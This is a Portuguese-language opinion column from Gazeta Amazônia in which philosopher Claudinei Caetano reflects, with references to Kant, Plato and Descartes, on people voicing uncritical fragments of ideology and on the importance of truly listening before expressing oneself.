Pensamento em Fragmentos: a importância do processo de ouvir para se expressar

O especialista em Comportamento Humano, graduado em filosofia e mestre em Estudos de Cultura Contemporânea pela Universidade Federal do Mato Grosso (UFMT), Claudinei Caetano que também é escritor e Yogaterapeuta será um colunista do site Gazeta Amazônia.

Em sua primeira coluna Claudinei Caetano traz uma reflexão sobre como atualmente às pessoas não fazem a conecção entre raciocinar e se expressar, e também da importância do processo de ouvir.

Confira o texto:

Ao tratar do pensamento, da forma a qual os indivíduos estão habituados a lidar, mesmo ao direito de liberdade de expressão, muitos, não fazem a conecção entre raciocinar e se expressar, geralmente externaliza fragmentos de pensamento/fala, e não analisa a veracidade e/ou a utilidade crítica que possa gerar no interlocutor.

Projetam-se às vezes pela paixão ideológica não como gostaria Destutt de Tracy, mas de uma forma que preencha a vontade crítica de tal, sem se importar com a perspectiva crítica e analítica, tendo em vista que a sempre um conjunto de indivíduos que compactua com um conjunto de ideologias.

Esquecem às vezes da verificação de fatos e ações e permeiam por um mundo de ideias utópicas (More), isso principalmente no campo política em dias atuais, aprofundam em uma obscuridade utópica que mesmo no cerco ideológico acreditam que o certo e o racional são base para tal.

Mas de acordo com Kant, falta em muitos momentos aufklärung, pois a maioria é levada pela minoria que projeta a ideologia perfeita em meios e habitat favorável. Esquece-se da análise para cada caso e fato, ideologisa pela paixão às ideias e ideais, um grande contingente ainda não conseguiu se libertar da caverna de Platão.

Fazendo com que a uma análise por paixão ideológica ou falta de aufklärung, segundo Kant, projeta de forma as vezes não convincente e convencional uma enxurrada de ideias vazias que divaga e ganha propulsão em simpatizantes das mesmas ou de analistas rasos.

Este pensar se externaliza no processo de argumentação, que em muitos casos não há uma análise do conteúdo a ser exposto, simplesmente reproduz-se na integra e as vezes de forma distorcida uma informação que é recebida. Sem se preocupar com a análise ou veracidade de tal, seja por motivos de ideologia ou de influência social.

O nível de pensamento normalmente é percebido pela capacidade de absorção das informações recebidas; que ao ouvir uma informação, esta será processada e em ocasião o próprio ser vai determinar se aquele assunto é útil ou inútil, e isso envolve uma infinidade de variáveis, tendo em vista a aplicabilidade do conteúdo, e a partir dai classificando como inútil essa informação não ficara gravado na memória e dado como útil ficara na memória pronta para ser acessada a qualquer momento e a revisão constante da informação reforça cada vez mais a aprendizagem em um processo de engrama.

Na livre manifestação do pensamento, muitas das vezes a pessoa se deixa levar por argumentos dispostos a seu alcance seja pelos meios de comunicação, mídias digitais ou impressas e diálogo, as vezes a falta de capacidade de amadurecer um pensamento como diz Kant, ou a facilidade de utilizar um pensamento para defender ou idealizar uma ideologia faz com que o indivíduo se feche em um ciclo restrito de teorias, sem ter a noção de que essas podem se esgotar e proporcionar outros momentos de pensamentos, uma análise de fatos ou fatores.

O enrijecimento conceitual leva ao empobrecimento intelectual e isso induz a acreditar que de maneira crítica as coisas são percebidas. A parte crítica do indivíduo em grande parte se desenvolve na articulação conceitual que viabiliza o engajamento social, e se, esta parte se enrijece este cai em um ciclo ideológico perigoso ao senso crítico racional e por outro lado cômodo, pois é mais fácil reproduzir ideias prontas e pré-defindas. Esse “achar” que se apoderou do conceito e na verdade detém apenas um formato ideológico é levado ao limiar do empobrecimento intelectual.

De modo geral, a princípio, utiliza-se qualquer fragmento de ideia de forma que favoreça a perspectiva que o indivíduo defende, sem se importar ou mesmo que saiba que aquilo não corresponde totalmente com a verdade ou não foi explorado reflexivamente leva a cabo de forma dogmática a terceiros, e isso inaugura um momento triste, preocupante e até previsível de que a cada ano que a humanidade atravessa a falta ou a não contemplação do conhecimento ou a volta à caverna (Platão) é constante e lugar de abrigo.

Ao formar uma opinião essa emana da memória que como afirmava Descartes, terá ênfase de acordo com a atenção dada ao que se pensa sobre, assim esse assunto estará sempre mais evidente na memória e de fácil acesso para ser verbalizada ao tratar daquilo que se quer falar, esse processo se dá pela carga de informação que o indivíduo recebe, ao processar essa informação cabe a cada um definir se esta é útil ou inútil, para daí o processo de gravação na memória ser efetiva, mas isso requer um refinamento de cada um, tendo em vista que grava-se apenas aquilo que se julga importante independente do parâmetro social e ou intelectual e sim daquele que se quer acreditar, formando assim um engrama, que se bem estruturado o pensamento terá este um angrama reflexivo, ao contrario, terá um engrama pastiche de ideias/ideologias.

Habitualmente, na defesa dos argumentos, o primeiro passo é a negação e/ou aceitação de que o pensamento ao qual defende possa estar errado e no mínimo equivocado, um elemento de que o instinto de sobrevivência, no caso preservação de um raciocínio válido, principalmente quando esse envolve: política, cultura, economia, classes sociais e minorias; essas questões poderão ser tratadas em textos futuros.

Ao tratar ou definir um ponto de partida a sua defesa em prol de um assunto, defende-se com veemência e até cegueira conceitual/intelectual às vezes não pela falta de conhecimento e sim de estar fechado em um labirinto argumentativo-dedutivo que se enveredado ao bel prazer para um cerco de intelecção que não permite sair de lá. Platão já enunciava esses argumentos no mito da caverna, que no caso o indivíduo com cegueira conceitual/intelectual, este afirma estar em contato com a luz, sol, com o conhecimento, mas na verdade está em contato apenas com as representações projetadas na parede da caverna, ou seja, em contato apenas com as representações conceituais de autores que lhe ajuda a pensar a forma que melhor convém em um instinto de perpetuar as ideologias que muita das vezes não são analisada antes da projeção de pensamento.

Ao projetar o que se passa na cabeça, o indivíduo não leva em consideração em muitos casos o processo de ouvir, que difere do ato de escutar, pois este não é o ato apenas de escutar, mas também, com clareza o processo de entender o que se capta como informação, assim fica deficitário os argumentos que muitas vezes defendem como logicamente assertivos.

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